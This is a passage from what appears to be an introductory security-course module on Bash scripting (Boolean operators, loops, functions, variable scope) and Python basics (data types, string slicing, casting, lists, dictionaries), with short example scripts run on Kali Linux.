the values true and false, and we can use Boolean logical
operators,[213] like AND (&&) and OR (||) to
manipulate them. These are somewhat mysterious because Bash uses them
in a variety of ways.
We've learned about tests used in if and elif statements that
return a Boolean value of true or false. Another common use is in
command lists, which are chains of commands whose flow is controlled
by operators. The pipe | symbol is a commonly-used operator
in a command list and passes the output of one command to the input of
another. Similarly, Boolean logical operators execute commands based
on whether a previous command succeeded (or returned True or "0") or
failed (returned False or non-zero).
Let's review the AND (&&) Boolean operator first, which executes a
command only if the previous command succeeds (or returns true or
its numerical representation of "0"):
kali@kali:~$ user2=kali
kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!"
kali:x:1000:1000:,,,:/home/kali:/bin/bash
kali found!
kali@kali:~$ user2=bob
kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!"
kali@kali:~$
Listing 53 - Using the AND (&&) Boolean operator in a
command list
In this example, we first assigned the username we are searching for
to the user2 variable. Next, we use the grep command to
check if a certain user is listed in the /etc/passwd file,
and if it is, grep returns true and the echo
command is executed. However, when we try searching for a user that we
know does not exist in /etc/passwd, our echo command
is not executed.
When used in a command list, the OR (||) operator is the opposite of
AND (&&); it executes the next command only if the previous command
failed (returned False or non-zero).
kali@kali:~$ echo $user2
bob
kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found\!" || echo "$user2 not found\!"
bob not found!
Listing 54 - Using the OR (||) Boolean operator in a
command list
In the above example, we took our previous command a step further
and added the OR (||) operator followed by a second echo
command. Now, when grep does not find a matching line and
returns False, the second echo command after the OR (||)
operator is executed instead.
These operators can also be used in a test to compare variables or
the results of other tests. When used this way, AND (&&) combines
two simple conditions, and if they are both true, the combined
result is a success (or True or 0).
Consider the following example.
kali@kali:~$ cat and.sh
#/bin/bash
# and example
if [ $USER == 'kali' ] && [ $HOSTNAME == 'kali' ]
then
echo "Multiple statements are true!"
else
echo "Not much to see here..."
fi
kali@kali:~$ ./and.sh
Multiple statements are true!
kali@kali:~$ echo $USER && echo $HOSTNAME
kali
kali
Listing 55 - Using the and (&&) Boolean operator
to test multiple conditions in Bash
In this example, we used AND (&&) to test multiple conditions
and since both variable comparisons were true, the whole if line
succeeded, so the then branch executed.
When used in a test, the OR (||) Boolean operator is used to test
one or more conditions, but only one of them has to be true to count
as success.
Let's consider an example.
kali@kali:~$ cat or.sh
#!/bin/bash
# or example
if [ $USER == 'kali' ] || [ $HOSTNAME == 'pwn' ]
then
echo "One condition is true, this line is printed"
else
echo "You are out of luck!"
fi
kali@kali:~$ ./or.sh
One condition is true, this line is printed
kali@kali:~$ echo $USER && echo $HOSTNAME
kali
kali
Listing 56 - Using the or (||) Boolean operator to
test multiple conditions in Bash
In this example, we used OR (||) to test multiple conditions and
since one of the variable comparisons was true, the whole if line
succeeded, so the then branch executed.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 45 minutes to complete.
In computer programming, loops[214] help us with repetitive
tasks. These tasks will continue until a certain criterion is met
(unless we make a mistake and create an infinite loop).[215]
The use of iteration is particularly useful so we recommend paying
very close attention to this section.
For loops are very practical and work very well in Bash
one-liners.[218] This type of loop is used to perform a given
set of commands for each of the items in a list.
The for loop will take each item in the list (in order), assign
that item as the value of the variable var-name, perform the given
action between do and done, and then go back to the top, grab the
next item in the list, and repeat the steps until the all list items
are exhausted. Let's examine the syntax:
for var-name in <list>
do
<action to perform>
done
Listing 57 - General syntax of the for loop
Let's review a practical example that will quickly print
the first 10 IP addresses in the 10.11.1.0/24 subnet.[219]
We can write this two different ways. First, we will examine the code
as a code block, and then we will convert it to a Bash one-liner.
for ip in $(seq 1 10)
do
echo 10.11.1.$ip
done
Listing 58 - An example using for loops in Bash
When this for loop starts, the value of ip is 1. When it runs the
echo the first time it prints out the first three octets (10.11.1.)
and then the value of the ip variable. Then the loop reaches the
done command and returns to the top. Here the value ip is increased
and the process is re-run until ip equals 10. At that point, the
loop is exited.
We can rewrite this script on a single line by using semicolons to
separate the commands.
kali@kali:~$ for ip in $(seq 1 10); do echo 10.11.1.$ip; done
10.11.1.1
10.11.1.2
10.11.1.3
10.11.1.4
10.11.1.5
10.11.1.6
10.11.1.7
10.11.1.8
10.11.1.9
10.11.1.10
Listing 59 - An example using for loops in Bash as a one-liner
We can also write the previous for loop with brace
expansion[220] using ranges.[221] In this case the syntax
is slightly different. Here we only need to enter the first and last
values of the range which can be a sequence of numbers or characters.
This is known as a sequence expression:
kali@kali:~$ for ip in {1..10}; do echo 10.11.1.$ip;done
10.11.1.1
10.11.1.2
10.11.1.3
10.11.1.4
10.11.1.5
10.11.1.6
10.11.1.7
10.11.1.8
10.11.1.9
10.11.1.10
Listing 60 - Brace expansion using ranges in Bash
This form of loop based on an IP address is often used when
testing networks. We can take these IP addresses and run a port
scan[222] using nmap.[223] We can also attempt to use
the ping command to see if any of the IP addresses respond to
ICMP echo requests.[224]
While loops are also fairly common and execute code while an
expression is true. While loops continue while whatever test we
provide is true. These loops have a simple format that is very similar
to the if statement; use the square brackets ([]) for the test:
while [ <some test> ]
do
<perform an action>
done
Listing 61 - General syntax of the while loop
Keep in mind that if the test is never TRUE, the loop won't start,
but also, if the loop never switches to FALSE, it will never stop.
This is called an infinite loop.
Let's re-create the previous example with a while loop:
kali@kali:~$ cat ./while.sh
#!/bin/bash
# while loop example
counter=1
while [ $counter -lt 10 ]
do
echo "10.11.1.$counter"
((counter++))
done
kali@kali:~$ ./while.sh
10.11.1.1
10.11.1.2
10.11.1.3
10.11.1.4
10.11.1.5
10.11.1.6
10.11.1.7
10.11.1.8
10.11.1.9
Listing 62 - Using a while loop in Bash
This output is probably not what was expected. This is called an "off
by one"[225] error and is very common. The reason is that we
used -lt (less than) instead of -le (less than or equal to).
Our counter only got to nine, not ten as originally intended. We can
change this by either using -le 10 or by increasing our code
to:-lt 11.
We've used a mathematical expression ((counter++)) to increment the
value of the counter by one. This is how we make sure we do eventually
terminate the loop.
Let's re-write the while loop using what we learned and try the
example again, this time using le rather than lt.:
kali@kali:~$ cat while2.sh
#!/bin/bash
# while loop example 2
counter=1
while [ $counter -le 10 ]
do
echo "10.11.1.$counter"
((counter++))
done
kali@kali:~$ ./while2.sh
10.11.1.1
10.11.1.2
10.11.1.3
10.11.1.4
10.11.1.5
10.11.1.6
10.11.1.7
10.11.1.8
10.11.1.9
10.11.1.10
Listing 63 - An example using a while loop in Bash
Good. Our while loop is looking much better now.
We've already used redirection to take a file as input to our script,
and now we know how to write a loop. We can upgrade this script to
read and display the whole file. To do this, we set the file name in
a variable and redirect this into the done command, as demonstrated
below.
kali@kali:~$ cat input5.sh
#!/bin/bash
file="poem.txt"
while read line
do
echo $line
done < $file
kali@kali:~$ ./input5.sh
The secrets of wealth and the love of the muse,
But gladness is predictable by universal laws;
Awe! Awe! Awareness in life without autocracy! !
For my name is Heidi.
Listing 64 - Echoing line by line
We've set the variable file to the name of our poem file, which is in
the current folder. We're using the read command within the while
command to get a line of text, and read will return false when there
are no more data. The done statement is written to take input from
our file rather than the standard input.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
In terms of Bash scripting, we can think of a function as a script
within a script. This becomes very useful when we need to execute the
same code multiple times in a script. Rather than re-writing it, we
write it once as a function and then call that function as needed.
Functions may be written in two different formats.
The first way we can write a function is more common to Bash scripts:
function function_name {
commands...
}
Listing 65 - One way of writing a function in Bash
The function command defines the function and gives it a name. The
code to be executed is then coded within the curly brackets.
The second format is more familiar to C programmers and is coded
without the keyword function. Instead, brackets are used after the
function name:
function_name () {
commands...
}
Listing 66 - Another way of writing a function in
Bash
The formats are functionally identical and are a matter of personal
preference.
Let's examine an example function. When the program runs it registers
the function and then skips over the bracketed code. It then
encounters the line containing print_me and recognizes it as a
function. The program finds the function definition and runs it.
kali@kali:~$ cat func.sh
#!/bin/bash
# function example
print_me () {
echo "You have been printed!"
}
print_me
kali@kali:~$ ./func.sh
You have been printed!
Listing 67 - Using a Bash function to print a message
to the screen
Perfect! We see that our script ran,called the function, and echoed
the results to the terminal.
Similar to the regular script, functions can also accept arguments.
We can either ask the user for the argument value or, in the example
below, we use the $RANDOM function to generate a random number.
kali@kali:~$ cat funcarg.sh
#!/bin/bash
# passing arguments to functions
pass_arg() {
echo "Today's random number is: $1"
}
pass_arg $RANDOM
kali@kali:~$ ./funcarg.sh
Today's random number is: 25207
Listing 68 - Passing an argument to a function in Bash
We passed a random number that was provided by the special variable
$RANDOM into the function. The function outputs it as $1, the
first argument provided on the function call. Note that the function
definition (pass_arg()) contains parentheses. In other
programming languages, such as C, these would contain the expected
arguments, but in Bash, the parentheses serve only as decoration. They
are never used. Also, note that the function definition (the function
itself) must appear in the script before it is called. Logically, we
can't call something we have not defined.
Use a descriptive function name that describes the function's
purpose.
In addition to passing arguments to Bash functions, we can of course
return values from Bash functions as well. Bash functions don't allow
you to return an arbitrary value in the traditional sense. Instead,
a Bash function can return an exit status (zero for success,
non-zero for failure) or some other arbitrary value that we can access
using the $? global variable. Alternatively, we can set a global
variable inside the function or use command substitution to simulate a
traditional return.
Let's examine a simple example that returns a random number into $?:
kali@kali:~$ cat funcrvalue.sh
#!/bin/bash
# function return value example
return_me() {
echo "Oh hello there, I'm returning a random value!"
return $RANDOM
}
return_me
echo "The previous function returned a value of $?"
kali@kali:~$ chmod +x ./funcrvalue.sh
kali@kali:~$ ./funcrvalue.sh
Oh hello there, I'm returning a random value!
The previous function returned a value of 198
kali@kali:~$ ./funcrvalue.sh
Oh hello there, I'm returning a random value!
The previous function returned a value of 313
Listing 69 - Returning a value from a function in
Bash
Notice that a random number is returned every time we run the script.
This is because we returned the special global variable $RANDOM
(into $?). If we used the return statement without the $RANDOM
argument, the exit status of the function, 0 in this case, would be
returned.
When we produce a script for other people to use, we'll want to
provide the usage instructions either when the script is executed
with no arguments, or when it's executed with a help argument.
When we want to produce the usage text, we can do it with a series
of echo statements, or we can use a special form of cat for
this.[226] We'll likely want to do this as a function. The
following example demonstrates this.
kali@kali:~$ cat usage.sh
#!/bin/bash
display_usage() {
cat << EOF
usage: ./usage.sh name
This script will check whether the named account exists.
It will also check whether a home folder exists for the account.
EOF
}
if [[ $# != 1 ]]
then
display_usage
else
grep -q $1 /etc/passwd && echo "$1 found in /etc/passwd"
if [ -d "/home/$1" ]
then
echo "The folder /home/$1 exists"
fi
fi
kali@kali:~$ ./usage.sh
usage: ./usage.sh name
This script will check whether the named account exists.
It will also check whether a home folder exists for the account.
kali@kali:~: ./usage.sh kali
kali found in /etc/passwd
The folder /home/kali exists
Listing 70 - Building a usage Function
There are a few new things to think about in this script. The use of
the double redirect into cat with a string value means to display the
following text up until, but not including, the string value. This
avoids issuing lots of echo commands!
The first check is to make sure we have one, and only one, argument.
If not, then we call the display_usage function to display a
usage message. Otherwise, we continue the script to check whether
the argument is an account in /etc/passwd, using the grep
approach we used previously. In this case, we've added the -q option
to suppress the output from grep. We then do another check using the
special -d form of test to check the existence of a folder.
The -d check is just one of several special checks related to
files and folders.[227]
Now that we have a basic understanding of variables and functions, we
can dig deeper and discuss variable scope.[228]
The scope of a variable is simply the context in which it has meaning.
By default, a variable has a global scope, meaning it can be
accessed throughout the entire script. In contrast, a local variable
can only be seen within the function, block of code, or subshell in
which it is defined. We can "overlay" a global variable, giving it a
local context by preceding the declaration with the local keyword,
leaving the global variable untouched. The general syntax is:
local name="Joe"
Listing 71 - Declaring a local variable
Let's see how local and global variables work in practice with
a simple example. First, we begin with creating two variables:
name1 and name2. Then we echo those values. Next, we enter our
name_change function. Here we create a local variable with the name
name1. We echo out the results and then change the value of name2.
Finally, we print the two variables: name1 and name2 again.
kali@kali:~$ cat varscope.sh
#!/bin/bash
# var scope example
name1="John"
name2="Jason"
name_change() {
local name1="Edward"
echo "Inside of this function, name1 is $name1 and name2 is $name2"
name2="Lucas"
}
echo "Before the function call, name1 is $name1 and name2 is $name2"
name_change
echo "After the function call, name1 is $name1 and name2 is $name2"
Listing 72 - Illustrating variable scope in Bash
When we run this script we can see that the local variable name1,
with the value "Edward", is printed out when inside the function, and
not when printing outside the function. This shows that the value of
name1 was not changed. Meanwhile, the value of name2 was changed
inside the function, but without the local keyword.
kali@kali:~$ ./varscope.sh
Before the function call, name1 is John and name2 is Jason
Inside of this function, name1 is Edward and name2 is Jason
After the function call, name1 is John and name2 is Lucas
Listing 73 - Running variable scope in Bash
Let's highlight a few key points within Listing 73.
First note that we declared two global variables, setting name1 to
John and name2 to Jason.
Then, we defined a function, and inside that function, we declared a
local variable called name1, setting the value to Edward. Since
this was a local variable, the previous global assignment was not
affected; name1 will still be set to John outside this function.
Next, we set name2 to Lucas, and since we did not use the local
keyword, we are changing the global variable, and the assignment
sticks both inside and outside of the function.
Based on this example, the following two points summarize variable
scope:
In the following code block, there are three syntactical errors.
Answer Questions 1-3 using the following code block.
1: #/bin/bash
2: # function return value example
3:
4: return_user[] {
5: echo $(whoami)
6: }
7:
8: Return_User
In this Module, we will cover the following Learning Units:
Each learner moves at their own pace, but this Module should take
approximately 15.5 hours to complete.
Scripting[229] is an efficient way to perform or
automate repetitive tasks. We can also use it to complete tasks on
a large scale. For example, in an enterprise network, we might need
to complete the same tasks on hundreds of hosts. Doing this manually
would be a frustratingly tedious waste of time, but with scripting, we
can accomplish this quickly and easily.
The basic blocks of scripts are conditional statements[230]
and loops.[231] Generally speaking, we'll use these two
items to create a script that processes input until something has been
found or until there is no input left.
Scripts are text files processed by an interpreter. If there is an
issue in a script, it can be easily fixed by modifying the file.
Python[232] is a platform-independent language because the
interpreter can be installed on both *nix-type and Windows operating
systems.
Because we can directly edit script files, we don't need a development
environment to compile the source code and create a machine code
binary file. Practically speaking, this means that scripts are
relatively easy to create and excellent for automating repetitive
tasks such as bulk adding users to the system, backing up important
files, creating remote backups, or tracking possible malicious
activities within log files.
In this Module, we'll review the basics of scripting using the Python
language.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 180 minutes to complete.
To begin, we'll cover some basic items with scripting languages.
This will start with how we can tell the system to execute our script
and print output to the terminal. Let's dive right in and build our
knowledge through each section.
Before working with our Python exercises, let's examine how to
determine our installed version. To do this, let's execute python
-V in the terminal.
kali@kali:~$ python -V
Python 3.9.10
Listing 1 - The currently installed version of Python is displayed
We can confirm that we currently have Python 3.9.10 installed and
working on our Kali machine. This is important to know since the
syntax between versions can affect how our scripts run.
Now that we know our version number, let's write our first Python
script.
Python is a popular and high-level programming language used by
scientists and security professionals alike.
We'll begin our introduction to Python with a few simple examples and
then progress to more complex and interesting scripts. We can't cover
everything here, but the popularity of Python means there are many
support options available if we run into issues.
Like Bash scripting, we can tell the system to interpret the script
as a Python script with the shebang[207-1] and python path
(#!/usr/bin/python). This way, we can save the file and set the
executable flag with chmod, and execute it with ./fileName.py.
Additionally, we can run a Python script using the python command,
which doesn't require the shebang line or the executable flag.
Let's review a simple "Hello World" script.
kali@kali:~$ cat pythonsample.py
#!/usr/bin/python
print("Scripting is fun!")
Listing 2 - Simple Python script
The script has two lines. The first line tells the OS that the script
should be interpreted with Python. When the file is executed, a loader
reads the file and the shebang tells the loader which interpreter to
use by providing an absolute path to the interpreter.
The second line is a print() function that outputs the string "Hello
World" to the terminal when we execute it.
Let's make pythonsample.py executable with chmod.
kali@kali:~$ chmod +x pythonsample.py
Listing 3 - The script is now executable
Now that the script is executable, let's execute it from the terminal.
Because it is set as executable, we can run it without using the
python command.
kali@kali:~$ ./pythonsample.py
Scripting is fun!
Listing 4 - The script is executed and the output is displayed to the terminal
The script was able to execute and displayed "Scripting is fun!" to
the terminal.
Another variation is to run the script with the python
command before the script.
kali@kali:~$ python pythonsample.py
Scripting is fun!
Listing 5 - The script executed with the python command
Running it this way, the shebang line is not needed. Although, it is a
good practice to have it in the script file.
Let's practice what we learned in the following exercises:
Before we cover the types of variables we may encounter in Python,
let's examine how we can set variables. We will use the print()
function to display the value of the variables in the terminal.
To set a variable in our Python script, we will enter a variable name
followed by an equal (=) sign and the value of the variable we want to
set.
kali@kali:~$ cat variables.py
#!/usr/bin/python
companyName = "OffSec"
currentYear = 2023
print(companyName)
print(currentYear)
Listing 6 - Two variables are set in our script
We have two variables set in our script, followed by the print()
functions to display them to the terminal. The first variable is
called companyName and has the value of "OffSec". The
next variable is called currentYear and has the value of "2022".
kali@kali:~$ ./variables.py
OffSec
2023
Listing 7 - The variable values are displayed in the terminal
As expected, the print() functions printed the values of the
variables to the terminal.
Now that we covered setting variables, let's practice what we've
learned with the following exercises.
Python is quite forgiving when it comes to data types, especially when
compared to lower-level programming languages. Python variables can
be converted from one data type to another in a process we call type
casting,[233] which we cover later. Having mentioned
this, it is still important to have a basic understanding of the
different data types when scripting with Python.
We can set a variable to a value by using the equal sign (=). If we
set a variable and use quotes around the value, this can affect how
Python treats it. We will go over this in more detail shortly.
The print() function can be used to output information to the
command-line similar to Bash's echo command. The syntax for Python 3
is as follows.
myString = "Hello World"
print(myString)
# or
print("Hello World")
Listing 8 - The Python print() function
During debugging, we may want to check a variable's type. We can do
this with the built in type() function. We'll pass the variable
into type() and output the type of data structure assigned to that
variable.
kali@kali:~$ cat typeexample.py
#!/usr/bin/python
a = "banana"
print(a)
print(type(a))
b = 1337
print(b)
print(type(b))
kali@kali:~$ python typeexample.py
banana
<class 'str' >
1337
<class 'int' >
Listing 9 - Python data types
In this example, we created two variables, a and b. Our script
prints the value of the variable and then its data type. Variable
a is a string with the value of "banana" and variable b is an
integer with the value of "1337".
Let's practice what we learned with the following exercises.
Many people new to Python may be familiar with strings[234]
in other programming languages. These data types hold one or more
letters, numbers, or symbols, and are typically set by using quotes.
Let's review two string examples:
myString = "Hello World"
anotherString = "ABC123!@#"
Listing 10 - String examples
In the code block above, we created two variables and assigned them
different values.
A string can be converted to a data type called a list (we
will cover this later). Lists and strings can be manipulated and
sliced[235] using a few different methods. Slicing in Python
is when we cut a string or list into sections. This is done to cut out
just the parts of a string that we are interested in.
Let's say we are writing a Python script to scrape a website for
any links to other pages. This is a very useful technique for a
penetration tester hoping to gain more information about a target.
Within the HTML code for the page we are scraping, each HTML anchor
tag will appear something like this.
<a href="https://www.offsec.com/blog">Blog</a>
Listing 11 - An HTML anchor tag
To be able to work with this in our script, we'll want only the URL
portion of the tag (https://www.offsec.com/blog), so we'll
use string slicing to pull the URL out.
As a side note, because this string contains quotation marks ("), we
will run into problems if we use the same syntax as we did earlier.
Instead, we'll use single quotes (') around the string. Content
between single quotes will not be interpreted.
Once we've created our variable, we can trim the ends of the string.
To do this, we need to find the index of where the URL starts and the
index of where it ends.
There are ways to find these automatically, but for this example,
we'll just count. We need to count each character up to our URL with
the first character being 0. The letter "h" in "https" is at index 9
so that's our starting point. If we keep counting to the end of the
URL, we find that the letter "g" in "Blog" at the end of the URL is at
index 47. Therefore, we want to slice the string from index 9 through
index 48 (index 47 + 1), inclusively.
With the index of the start and end of our URL, we can slice it out
of the full string and store it into a variable named url using the
following syntax.
kali@kali:~$ cat tagslice.py
#!/usr/bin/python
tag = '<a href="https://www.offsec.com/blog">Blog</a>'
url = tag[9:48]
print(url)
kali@kali:~$ python tagslice.py
https://www.offsec.com/blog
Listing 12 - Slicing the HTML anchor tag
We can also slice out the URL from the full HTML anchor tag by
using the index() function. First, we figure out what is always at
the start of the string we want to slice out. In this case, it would
be "https". Then, we need what will come after the string we want to
slice out. In this case, it's the end double-quote of the URL and a
greater-than symbol. Let's set these as individual string variables.
tag = '<a href="https://www.offsec.com/blog">Blog</a>'
start = "http"
end = "\">"
Listing 13 - Setting the start and end variables
Note that part of our second variable, end, includes a quotation
mark. This could present a problem, but we're working around it by
escaping[236] it using a backslash (\) character, which
allows us to use the quotation marks that follow without invoking
their special meaning.
We can use the start and end strings to get the index values of
where those are located in a complete anchor tag. To do this, we will
add .index() to the variable tag, and inside the index function,
we will add the variables. Let's print those values.
kali@kali:~$ cat tagslice2.py
#!/usr/bin/python
tag = '<a href="https://www.offsec.com/blog">Blog</a>'
start = "http"
end = "\">"
print(tag.index(start))
print(tag.index(end))
kali@kali:~$ python tagslice2.py
9
48
Listing 14 - Running our slicing script
These numbers are similar to the values we got by counting before.
Let's remove the print() functions and slice tag using the index
of the start and end strings.
kali@kali:~$ cat tagslice3.py
#!/usr/bin/python
tag = '<a href="https://www.offsec.com/blog">Blog</a>'
start = "http"
end = "\">"
url = tag[tag.index(start):tag.index(end)]
print(url)
kali@kali:~$ python tagslice3.py
https://www.offsec.com/blog
Listing 15 - Improving our slicing script
Our script contains a new line of code, which may be a bit
confusing at first glance. We've replaced "tag[9:48]" from Listing
12 with the values "tag.index(start)", which came out to
9, and "tag.index(end)", which was 48.
The advantage of a short script like this is that it will work on tags
no matter how long or short they are.
Integer (or int)[237] variables are the basic ways
to store whole numbers with a comparable value. Int variables are
typically set by assigning a whole number without quotes to a variable
name.
In the script below, we assign the value of "750" to a variable called
myInt, then we print it to the terminal.
kali@kali:~$ cat intTest.py
#!/usr/bin/python
myInt = 750
print(myInt)
kali@kali:~$ python intTest.py
750
Listing 16 - Setting an Integer variable and printing it to the terminal
As expected, when we run the script, the output is "750".
If you use quotes to set a number to a variable, you are setting it
as a string instead of an integer. This may lead to bugs or errors if
comparisons are done. In the following example, the usage of quotes
changes how Python interprets the value of the variable.
kali@kali:~$ cat intTest2.py
#!/usr/bin/python
myString = "750"
myInt = 750
print(myString)
print(myInt)
print(myInt + 1)
print(myString + 1)
kali@kali:~$ python intTest2.py
750
750
751
Traceback (most recent call last):
File "/home/kali/intTest2.py", line 7, in <module>
print(myString + 1)
TypeError: can only concatenate str (not "int") to str
Listing 17 - Working with integers and strings
It's interesting to note that the output of two of the four print()
functions was the same, but Python was unable to add one to "750" when
that value was a string.
It's an excellent idea to get familiar with reading output errors,
researching them, and thinking about how we might fix them.
If we want a variable to contain a number with a decimal, we can't
use an integer. Instead, we will need to use a Float.[238] The
nice thing is that Python will usually handle this for us, and we can
typically treat floats the same as integer variables. For example,
let's test what happens when we add a decimal value to an integer.
kali@kali:~$ cat floatTest.py
#!/usr/bin/python
a = 100
print(a)
print(type(a))
a = a + .5
print(a)
print(type(a))
kali@kali:~$ python floatTest.py
100
<class 'int'>
100.5
<class 'float'>
Listing 18 - Working with Float variables
As we found from the script execution, Python was able to change the
integer to a float without us needing to do anything else.
Beyond strings and number variables, we must understand Boolean
variables as well.
Boolean[239] variables store an object value of "True"
or "False". These types of variables are useful when using conditional
statements but we'll get into that a little later. For now, it's
important to understand that these are not string values of "True" or
"False". Let's examine a code snippet.
# this may be set from a user database or after authentication
adminBool = False
if (adminBool)
print("You are an admin!")
else
print("You are NOT an admin!")
Listing 19 - Example working with Booleans
This snippet includes a conditional statement, which we'll cover
later in this Module. For now, we'll just note that since the variable
adminBool is False, this script would print "You are NOT an
admin!".
So far, we covered strings, number variables, and Booleans. Now let's
examine a way to change variable types from one to another with a
process called type casting.
Casting is a way to convert a variable type in Python. This can be
done by using the appropriate casting function to modify the variable
type to another. A reason to use this is when reading user input or
data from an external source such as a text document or webpage.
For example, let's say we have two strings that contain numbers that
we want to add together. This would occur in a scenario where these
numbers were part of a longer string that we sliced.
If we try to add these variables together, we won't receive any
errors, but the result is also unexpected.
kali@kali:~$ cat castTest.py
#!/usr/bin/python
numA = "86"
numB = "20"
print(type(numA))
print(type(numB))
print(numA + numB)
kali@kali:~$ python castTest.py
<class 'str'>
<class 'str'>
8620
Listing 20 - Setting up strings to test casting
The output shows that we concatenated the strings together instead
of adding the numbers. We will need to cast the strings to integers
before they can be added, using the int() function. For simplicity,
we can do this right in the print() function.
Let's change one line in our script and then run it again.
kali@kali:~$ cat castTest.py
#!/usr/bin/python
numA = "86"
numB = "20"
print(type(numA))
print(type(numB))
print(int(numA) + int(numB))
kali@kali:~$ python castTest.py
<class 'str'>
<class 'str'>
106
Listing 21 - Example casting strings to integers
This can also be done with the str() function to convert an integer
or float into a string data type. Let's modify the code slightly to
demonstrate this.
kali@kali:~$ cat castTest.py
#!/usr/bin/python
numA = "86"
numB = "20"
print(type(numA))
print(type(numB))
newValue = int(numA) + int(numB)
print(newValue)
print(type(newValue))
print(type(str(newValue)))
kali@kali:~$ python castTest.py
<class 'str'>
<class 'str'>
106
<class 'int'>
<class 'str'>
Listing 22 - Example casting integer to string
As shown in the output, the integer variable was type cast to a string
with the str() function.
Let's take this opportunity to apply what we've learned in the
following exercises.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
So far, we have covered variables and how to work with them. Now let's
examine some more complex variables that hold more than one value in
them: lists and dictionaries.
A list[240] is a datatype that contains one or more
variables in indexed order. The different types of variables can be
contained within a list or a list can even contain other lists.
We can specify a list in Python by using square brackets.
kali@kali:~$ cat listTest.py
fruitList = ["apple", "banana", "orange"]
print(type(fruitList))
kali@kali:~$ python listTest.py
<class 'list'>
Listing 23 - Setting and verifying a list variable
As expected, when we check the data type of the fruitList variable,
we show that it is a list.
Each item in the list has a corresponding index value that represents
its location. In our previous example, "apple" has an index of 0, and
"banana" would have an index of 1. If we know a value is contained in
the list but don't know the index, we can find it by using the list
index() method.
kali@kali:~$ cat listTest2.py
#!/usr/bin/python
fruitList = ["apple", "banana", "orange"]
print(fruitList.index("orange") )
kali@kali:~$ python listTest2.py
2
Listing 24 - Finding the index of an item in a list
Above, we searched for the index containing the
value "orange". In this case, the "orange" value had an index of 2.
The index() method is also very helpful when slicing strings, which
we touched on earlier.
If we would like to add an item to our list, we can use the append()
method.
kali@kali:~$ cat listTest3.py
#!/usr/bin/python
fruitList = ["apple", "banana", "orange"]
fruitList.append("mango")
print(fruitList)
kali@kali:~$ python listTest3.py
["apple", "banana", "orange", "mango" ]
Listing 25 - Adding an item to a list
In the list above, we added the value "mango" to the end of the list.
Inversely, we can remove items from a list, in the same way, using
remove().
kali@kali:~$ cat listTest4.py
#!/usr/bin/python
fruitList = ["apple", "banana", "orange", "mango" ]
fruitList.remove("mango")
print(fruitList)
kali@kali:~$ python listTest4.py
["apple", "banana", "orange"]
Listing 26 - Removing an item form a list
Listing 26 shows the value "mango" being removed from the
list.
If we would like to know the number of items in our list, we can use
the len() function, which will return the number of items our list
contains.
kali@kali:~$ cat listTest5.py
#!/usr/bin/python
fruitList = ["apple", "banana", "orange"]
print(len(fruitList))
kali@kali:~$ python listTest5.py
3
Listing 27 - Finding the length of a list
The length of the list in Listing 27 is 3, because
there are 3 total items in the list.
In Python, a dictionary[241] is a data structure that
contains one or more key-value[242] pairs. We can use curly brackets
to define a new dictionary and supply it with any initial key-value
pairs.
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
Listing 28 - Example setting up a dictionary in Python
In Listing 28, we have three key-value pairs within the
theOne dictionary.
To add an entry to our dictionary, we can simply reference the
dictionary with an index of the key we want to add and define it as
the value we want to set.
kali@kali:~$ cat dictTest.py
#!/usr/bin/python
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
theOne["company"] = "MetaCortex"
print(theOne)
kali@kali:~$ python dictTest.py
{'firstName': 'Thomas', 'lastName': 'Anderson', 'occupation': 'Programmer', 'company': 'MetaCortex' }
Listing 29 - Adding a key-value pair to a dictionary
In the code block above, we added the key-value pair of
company:MetaCortex to the end of the theOne dictionary.
We reference a value in our dictionary by its key.
kali@kali:~$ cat dictTest.py
#!/usr/bin/python
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
theOne["company"] = "MetaCortex"
print(theOne["firstName"])
kali@kali:~$ python dictTest.py
Thomas
Listing 30 - Referencing an item in a dictionary by key
In Listing 30, we printed the value "Thomas" by referencing to
its key of "firstName".
If we want to change the value of an existing key, we can specify the
key name and the new value. The only difference between adding a new
key-value pair and modifying one is the fact that the key-value pair
already exists within the dictionary.
kali@kali:~$ cat dictTest.py
#!/usr/bin/python
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
theOne["company"] = "MetaCortex"
print(theOne)
theOne["occupation"] = "Superhero"
print(theOne)
kali@kali:~$ ./dictTest.py
{'firstName': 'Thomas', 'lastName': 'Anderson', 'occupation': 'Programmer' , 'company': 'MetaCortex'}
{'firstName': 'Thomas', 'lastName': 'Anderson', 'occupation': 'Superhero' , 'company': 'MetaCortex'}
Listing 31 - The occupation key-value pair was changed
The value of they key labelled "occupation" was changed from
"Programmer" to "Superhero".
We can also retrieve a list of keys that are stored in a dictionary
by using the keys() method.
kali@kali:~$ cat dictTest.py
#!/usr/bin/python
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
theOne["company"] = "MetaCortex"
print(theOne.keys())
kali@kali:~$ python dictTest.py
dict_keys(['firstName', 'lastName', 'occupation', 'company'])
Listing 32 - Printing out the keys of a dictionary
As shown in Listing 32, we added a new key-value pair. Then,
we used the keys() method to output the names of the keys within the
theOne dictionary.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 150 minutes to complete.
In this section, we will take what we learned about variables and
use them in loops, conditional statements, and user input. This will
enhance our capabilities to create programs that are more functional
and user-friendly.
Looping in programming is one way to iterate on a conditional
state or data structure. Python has two types of looping methods:
for[216-1] and while.[217-1]
A while loop will repeat a code block as long as a conditional
statement evaluates to True. In the following example, we set a
variable i to 0. We then start our while loop with the condition
that i is less than 10. Each run of the code block prints out the
current value of i and then increments i by 1. This is evident
with the statement i += 1, which is the same as i = i + 1. The
symbol += is an assignment operator. If we forget to increment our
counter variable, this would run until the script is killed manually.
The syntax of loops is important in Python. Note that the loop
statement has a colon (:) at the end of the line. This is then
followed by indented instructions to complete in the loop under that
loop statement. When the indentation isn't there, Python interprets
that as being an instruction outside of the loop. Let's examine the
following code:
i = 0
while i < 10:
print(i)
i += 1
Listing 33 - Example while loop in Python
